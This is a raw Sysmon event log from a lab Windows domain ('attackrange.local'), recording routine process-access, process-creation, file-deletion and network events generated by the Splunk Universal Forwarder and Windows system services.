14:59:33.949{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016579Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.949{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-72D5-613B-0105-00000000F101}728C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016578Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.949{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-72D5-613B-0105-00000000F101}728C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016577Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.951{625C326B-72D5-613B-0105-00000000F101}728C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016576Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.824{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=061A2EB2B839FDD5C3753C8606D99369,SHA256=2FFEDA8FF25A3FB68423E48260D0E535EB51F6CB837E7BADB6B2BE55C3C185DF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016575Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.824{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A1B2096C6574A4B915DB00CB0EB563DA,SHA256=3105562EA67878777F48BF30F3931BE19FF51E6E8833B77514972BD6734F4F48,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:33.233{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=787D87CB4BF96831B7D5D2A655105FD9,SHA256=B8C8397660D17C097F1C857D8171A81186777E78532A224F2FC3EE8528052993,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016574Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.442{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50300-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016592Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:34.996{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D3E10DBBA08806A26EF69A43252DAF69,SHA256=EAFABB921B6C2AA707E891D2757BABABAEA11E43971FCDEA2DCDCEDCFC3F65BF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016591Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:34.902{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=170D6F331439D0FD513267BA1C40DBF7,SHA256=71A069CF4C78522175D5A3FD3D3CD80F4072814A3C0D7E666911A823793CEDAD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:34.297{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5DEA1B66D8699F5A0141C55428EF29FC,SHA256=57870647015762CDE78832EEEB7C5CAC1717C9104F6ABEFDBCBDB034752F8FB6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016590Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:34.105{625C326B-72D5-613B-0105-00000000F101}7281704C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:35.333{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=564E91062975DF8AFDCCB75A661C11C9,SHA256=AC896DB5401C5B6ABD39C61BB1D94321519DDED9A7C378D04DB6A58018FF366A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016620Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.855{625C326B-72D7-613B-0305-00000000F101}23561564C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016619Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-72D7-613B-0305-00000000F101}2356C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016618Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016617Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016616Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016615Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016614Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016613Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016612Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016611Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016610Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-72D7-613B-0305-00000000F101}2356C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016609Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016608Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.590{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-72D7-613B-0305-00000000F101}2356C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016607Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.591{625C326B-72D7-613B-0305-00000000F101}2356C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000016606Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.324{625C326B-72D7-613B-0205-00000000F101}1524964C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016605Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-72D7-613B-0205-00000000F101}1524C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016604Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016603Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016602Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 